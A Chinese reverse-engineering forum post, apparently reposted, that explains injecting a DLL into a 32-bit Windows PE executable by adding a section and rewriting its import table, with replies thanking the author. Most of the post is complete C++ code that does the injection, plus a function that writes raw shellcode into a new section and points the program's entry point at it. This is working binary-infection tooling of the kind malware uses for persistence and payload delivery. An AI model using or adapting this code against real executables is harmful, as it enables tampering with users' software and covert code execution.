吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1762|回复: 5
收起左侧

[C&C++ 转载] PE 通过导入表注入 Dll

[复制链接]
dounine 发表于 2022-8-17 11:45
本帖最后由 dounine 于 2022-8-17 11:47 编辑

导入表注入,当程序被加载时,系统会根据程序导入表信息来加载需要用到的dll,导入表注入的原理就是修改程序的导入表,将自己的dll添加到程序的导入表中,这样程序运行时可以将自己的DLL加载到程序的进程空间。

结构图

  1. 将要注入dll的程序写入到内存中,并新增一个节
  2. 拷贝原来的导入表到新节中
  3. 在新节拷贝的导入表后新增一个导入表_IMAGE_IMPORT_DESCRIPTOR
  4. 增加8字节的INT表和8字节的IAT表
  5. 存储要注入的dll的名称
  6. 增加一个_IMAGE_IMPORT_BY_NAME结构,并将函数名称存进结构体第一个变量后的内存中
  7. 将_IMAGE_IMPORT_BY_NAME结构的地址的RVA赋值给INT表和IAT表第一项
  8. 将dll名称所在位置的首地址的RVA赋值给新增导入表的Name
  9. 修改IMAGE_DATA_DIRECTORY结构的VirtualAddress和Size

提示

  1. 根据IMAGE_DATA_DIRECTORY结构的size去拷贝导入表,将会多拷贝20字节的0,这也是导入表结束的标志,新增导入表的时候应该将此处的0进行覆盖,因为20字节的0,否则系统不会加载新增的导入表代表导入表结束了。
  2. INT表和IAT表的8字节是因为这两张表至少包含一项内容,才会被系统加载,剩余的4字节为0标志着表的结束。
  3. 结构体存储地址的变量存储都是RVA,使用时需要进行转换,有时是FOA转RVA,有时是RVA转FOA 。

代码

#include <iostream>
#include <Windows.h>
#include <tchar.h>
#include <sys/stat.h>
#include <filesystem>

using namespace std;

LPVOID readFile(PTCHAR fileName, size_t &fileSize) {
    FILE *file;
    fopen_s(&file, fileName, "rb");
    if (nullptr == file) {
        cout << "file open fail" << endl;
        return nullptr;
    }
    struct stat fileStat;
    stat(fileName, &fileStat);
    size_t size = fileStat.st_size;
    fileSize = size;
    auto fileBuffer = malloc(size);
    if (nullptr == fileBuffer) {
        cout << "malloc fail" << endl;
        return nullptr;
    }
    memset(fileBuffer, 0, size);
    fread(fileBuffer, size, 1, file);
    fclose(file);
    return fileBuffer;
}

BOOL writeFile(LPVOID fileBuffer, unsigned long size, PTCHAR newFileName) {
    FILE *file = nullptr;
    fopen_s(&file, newFileName, "wb");
    if (nullptr == file) {
        cout << "file create fail" << endl;
        return FALSE;
    }
    fwrite(fileBuffer, 1, size, file);
    fclose(file);
    return TRUE;
}

PIMAGE_NT_HEADERS getNtHeader(LPVOID buffer) {
    auto docHeader = (PIMAGE_DOS_HEADER) buffer;
    auto ntHeader = (PIMAGE_NT_HEADERS32) ((PTCHAR) buffer + docHeader->e_lfanew);
    return ntHeader;
}

PIMAGE_OPTIONAL_HEADER getOptionalHeader(LPVOID buffer) {
    auto ntHeader = getNtHeader(buffer);
    return &ntHeader->OptionalHeader;
}

PIMAGE_FILE_HEADER getFileHeader(LPVOID buffer) {
    auto ntHeader = getNtHeader(buffer);
    return &ntHeader->FileHeader;
}

PIMAGE_SECTION_HEADER getFirstSectionHeader(LPVOID buffer) {
    auto optionHeader = getOptionalHeader(buffer);
    auto ntHeader = getNtHeader(buffer);
    return (PIMAGE_SECTION_HEADER) ((PTCHAR) optionHeader + ntHeader->FileHeader.SizeOfOptionalHeader);
}

PIMAGE_SECTION_HEADER getLatestSectionHeader(LPVOID buffer) {
    return (PIMAGE_SECTION_HEADER) (getFirstSectionHeader(buffer) + getFileHeader(buffer)->NumberOfSections - 1);
}

size_t align(size_t size, int align) {
    return ((size / align) + 1) * align;
}

size_t peSize(LPVOID fileBuffer) {
    auto latestSectionHeader = getLatestSectionHeader(
            fileBuffer);
    return latestSectionHeader->PointerToRawData + latestSectionHeader->SizeOfRawData;
}

LPVOID Rva2Foa(LPVOID buffer, DWORD rva) {
    auto ntHeader = getNtHeader(buffer);
    auto firstSectionHeader = getFirstSectionHeader(buffer);
    for (int i = 0; i < ntHeader->FileHeader.NumberOfSections - 1; i++) {
        auto section = firstSectionHeader + i;
        if (rva >= section->VirtualAddress && rva < (section->VirtualAddress + section->Misc.VirtualSize)) {
            return (LPVOID) (rva - section->VirtualAddress + section->PointerToRawData);
        }
    }
    cout << "Rva2Foa error:" << rva << endl;
    return nullptr;
}

LPVOID Foa2Rva(LPVOID buffer, DWORD foa) {
    auto ntHeader = getNtHeader(buffer);
    auto firstSectionHeader = getFirstSectionHeader(buffer);
    if (foa <= ntHeader->OptionalHeader.SizeOfHeaders) {
        return (LPVOID) foa;
    }
    for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
        auto section = firstSectionHeader + i;
        if (foa >= section->PointerToRawData && foa < (section->PointerToRawData + section->SizeOfRawData)) {
            return (LPVOID) (foa - section->PointerToRawData + section->VirtualAddress);
        }
    }
    cout << "Foa2Rva error:" << foa << endl;
    return nullptr;
}

LPVOID addSection(LPVOID fileBuffer, PTCHAR sectionName, size_t sectionCodeSize) {
    if (strlen(sectionName) >= 8) {
        cout << "sectionName size < 8" << endl;
        return nullptr;
    }
    auto ntHeader = getNtHeader(fileBuffer);
    size_t fileAlign = ntHeader->OptionalHeader.FileAlignment;
    size_t fileSize = peSize(fileBuffer);
    size_t outFileSize = fileSize + align(sectionCodeSize, fileAlign);
    auto newFileBuffer = malloc(outFileSize);
    memset(newFileBuffer, 0, outFileSize);
    memcpy(newFileBuffer, fileBuffer, fileSize);
    free(fileBuffer);
    auto newFileNtHeader = getNtHeader(newFileBuffer);
    auto newOptionHeader = &newFileNtHeader->OptionalHeader;
    auto newFileSectionHeader =
            (PIMAGE_SECTION_HEADER) ((PTCHAR) newOptionHeader +
                                     sizeof(*newOptionHeader));

    if ((newFileSectionHeader->PointerToRawData -
         (DWORD) (newFileSectionHeader + newFileNtHeader->FileHeader.NumberOfSections)) < 0x50) {
        cout << "table space not enought" << endl;
        return nullptr;
    }

    size_t sectionAlign = newFileNtHeader->OptionalHeader.SectionAlignment;
    auto newFileLatestSectionHeader =
            (PIMAGE_SECTION_HEADER) (newFileSectionHeader + (newFileNtHeader->FileHeader.NumberOfSections - 1));
    auto addSectionHeader = newFileLatestSectionHeader + 1;

    memcpy(addSectionHeader->Name, sectionName, 8);

    addSectionHeader->Misc.VirtualSize = align(sectionCodeSize, sectionAlign);
    addSectionHeader->VirtualAddress = align(
            newFileLatestSectionHeader->VirtualAddress + newFileLatestSectionHeader->Misc.VirtualSize,
            sectionAlign);
    addSectionHeader->SizeOfRawData = align(sectionCodeSize, fileAlign);
    addSectionHeader->PointerToRawData =
            newFileLatestSectionHeader->PointerToRawData + newFileLatestSectionHeader->SizeOfRawData;
    addSectionHeader->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

    newFileNtHeader->FileHeader.NumberOfSections += 1;

    auto firstSection = getFirstSectionHeader(newFileBuffer);
    auto latestSection = (DWORD) (getLatestSectionHeader(newFileBuffer) + 1);
    auto ssize = (DWORD) newFileBuffer + firstSection->PointerToRawData - latestSection;

    cout << "space size : " << ssize << " --- " << "code size : " << sectionCodeSize << endl;
    cout << latestSection << ":" << (DWORD) (newFileSectionHeader + newFileNtHeader->FileHeader.NumberOfSections)
         << endl;

//    for (int i = 1; i < newFileNtHeader->FileHeader.NumberOfSections; i++) {
//        newFileSectionHeader[i - 1].Misc.VirtualSize =
//                newFileSectionHeader[i].VirtualAddress - newFileSectionHeader[i - 1].VirtualAddress;
//    }

    newFileNtHeader->OptionalHeader.SizeOfImage =
            addSectionHeader->VirtualAddress + addSectionHeader->Misc.VirtualSize;
    newFileNtHeader->OptionalHeader.SizeOfHeaders += sizeof(*addSectionHeader);
    return newFileBuffer;
}

/**
 * pe文件注入shellcode
 */
void hackPe() {
    char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
                       "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
                       "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
                       "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
                       "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
                       "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
                       "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
                       "\x49\x0b\x31\xc0\x51\x50\xff\xd7";;
    string currentPath = filesystem::current_path().u8string();
    string fileNameStr = currentPath + R"(\..\resources\Demo.exe)";
    PTCHAR fileName = fileNameStr.data();
    string fileNamePeStr = currentPath + R"(\..\resources\DemoPe.exe)";
    PTCHAR fileNamePe = fileNamePeStr.data();
    size_t fileSize;
    LPVOID fileBuffer = readFile(fileName, fileSize);
    LPVOID newFileBuffer = addSection(fileBuffer, (PTCHAR) ".import", sizeof(shellcode));
    auto ntHeader = getNtHeader(newFileBuffer);
    auto latestSectionHeader = getLatestSectionHeader(
            newFileBuffer);
    memcpy((PTCHAR) newFileBuffer + latestSectionHeader->PointerToRawData, shellcode, sizeof(shellcode));
    ntHeader->OptionalHeader.AddressOfEntryPoint = latestSectionHeader->VirtualAddress;
    size_t outFileSize = peSize(newFileBuffer);
    writeFile(newFileBuffer, outFileSize, fileNamePe);
    free(newFileBuffer);
}

void peInject() {
    PTCHAR sectionName = ".import";
    PTCHAR injectDllName = "Dll2.dll";
    PTCHAR injectFunctionName = "ExportFunction";
    string currentPath = filesystem::current_path().u8string();
    string fileNameStr = currentPath + R"(\..\resources\Demo.exe)";
    string fileNameNewStr = currentPath + R"(\..\resources\DemoNew.exe)";
    PTCHAR fileNameNewPe = fileNameNewStr.data();
    PTCHAR fileName = fileNameStr.data();
    size_t fileSize;
    LPVOID fileBuffer = readFile(fileName, fileSize);
    auto optionHeader = getOptionalHeader(fileBuffer);
    auto importDirectory = &optionHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    size_t inaSize = 0x0;
    size_t iatSize = 0x10;
    size_t dllNameLen = strlen(injectDllName) + 1;
    size_t newDataDirectoryLen = sizeof(IMAGE_IMPORT_DESCRIPTOR);
    size_t emptyDataDirectoryLen = newDataDirectoryLen;
    size_t functionNameLen = strlen(injectFunctionName) + 1;
    size_t spaceLen = 0x2;
    size_t sectionLength =
            importDirectory->Size + newDataDirectoryLen + emptyDataDirectoryLen + inaSize + iatSize + dllNameLen +
            functionNameLen + spaceLen;

    auto firstSection = getFirstSectionHeader(fileBuffer);
    auto fileAlign = optionHeader->FileAlignment;
    auto sectionAlign = optionHeader->SectionAlignment;

    LPVOID newFileBuffer = addSection(fileBuffer, sectionName, sectionLength);
    auto dataDirectory = &getOptionalHeader(newFileBuffer)->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    auto latestSection = getLatestSectionHeader(newFileBuffer);
    auto newSectionFoa = (PDWORD) ((DWORD) newFileBuffer + latestSection->PointerToRawData);
    auto dataDirectionFoa = Rva2Foa(newFileBuffer, dataDirectory->VirtualAddress);

    auto oldImportDirectionAddr = (PIMAGE_IMPORT_DESCRIPTOR) ((DWORD) newFileBuffer + (DWORD) dataDirectionFoa);

    memcpy(newSectionFoa, oldImportDirectionAddr, dataDirectory->Size);

    auto newImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) (
            (DWORD) newSectionFoa + dataDirectory->Size - sizeof(IMAGE_IMPORT_DESCRIPTOR));
    auto pIntTble = (PIMAGE_THUNK_DATA) ((DWORD) newImportDescriptor + 0x28);
    auto originPIntTable = pIntTble;
    //int
    pIntTble++;
    pIntTble->u1.Ordinal = 0x0;
    pIntTble++;

    //iat
    auto pIatTable = pIntTble;
    auto originPIatTable = pIatTable;
    pIatTable++;
    pIatTable->u1.Ordinal = 0x0;
    pIatTable++;

    //dll name
    auto dllNameAddr = (PDWORD) pIatTable;
    memcpy(dllNameAddr, injectDllName, strlen(injectDllName) + 1);

    //image_import_by_name
    auto functionNameAddr = (PIMAGE_IMPORT_BY_NAME) (PDWORD) (dllNameAddr + strlen(injectDllName) + 1);
    auto pFunctionName = (LPVOID) ((DWORD) functionNameAddr + 0x2);
    memcpy(pFunctionName, injectFunctionName, strlen(injectFunctionName) + 1);

    //copy image_import_by_name to iat and int
    originPIntTable->u1.AddressOfData = (DWORD) Foa2Rva(newFileBuffer,
                                                        (DWORD) functionNameAddr - (DWORD) newFileBuffer);
    originPIatTable->u1.AddressOfData = originPIntTable->u1.Ordinal;

    //revise name OriginFirstThunk , FirstThunk
    newImportDescriptor->Name = (DWORD) Foa2Rva(newFileBuffer,
                                                (DWORD) dllNameAddr - (DWORD) newFileBuffer);
    newImportDescriptor->OriginalFirstThunk = (DWORD) Foa2Rva(newFileBuffer, (DWORD) originPIntTable -
                                                                             (DWORD) newFileBuffer);
    newImportDescriptor->FirstThunk = (DWORD) Foa2Rva(newFileBuffer, (DWORD) originPIatTable -
                                                                     (DWORD) newFileBuffer);

    //revise image_data_directory.virtualaddress and size
    dataDirectory->VirtualAddress = (DWORD) Foa2Rva(newFileBuffer,
                                                    latestSection->PointerToRawData);
    dataDirectory->Size += sizeof(IMAGE_IMPORT_DESCRIPTOR);

    size_t newFileSize = peSize(newFileBuffer);
    writeFile(newFileBuffer, newFileSize, fileNameNewPe);
}

int main() {
    peInject();
    return 0;
}

免费评分

参与人数 2吾爱币 +10 热心值 +2 收起 理由
wapj20221111 + 1 我很赞同!
苏紫方璇 + 10 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

sam喵喵 发表于 2022-8-17 17:59
感谢大佬分享
thisc 发表于 2022-8-17 18:15
 楼主| dounine 发表于 2022-8-18 15:34
thisc 发表于 2022-8-17 18:15
有没有64位PE注入的代码

就写了32位的,都差不多,修改一下类型就可以了
virsnow 发表于 2022-10-5 12:25
这是我们小白的福音!
caoxinggang 发表于 2024-3-17 02:06
好东西啊
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-30 00:44

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表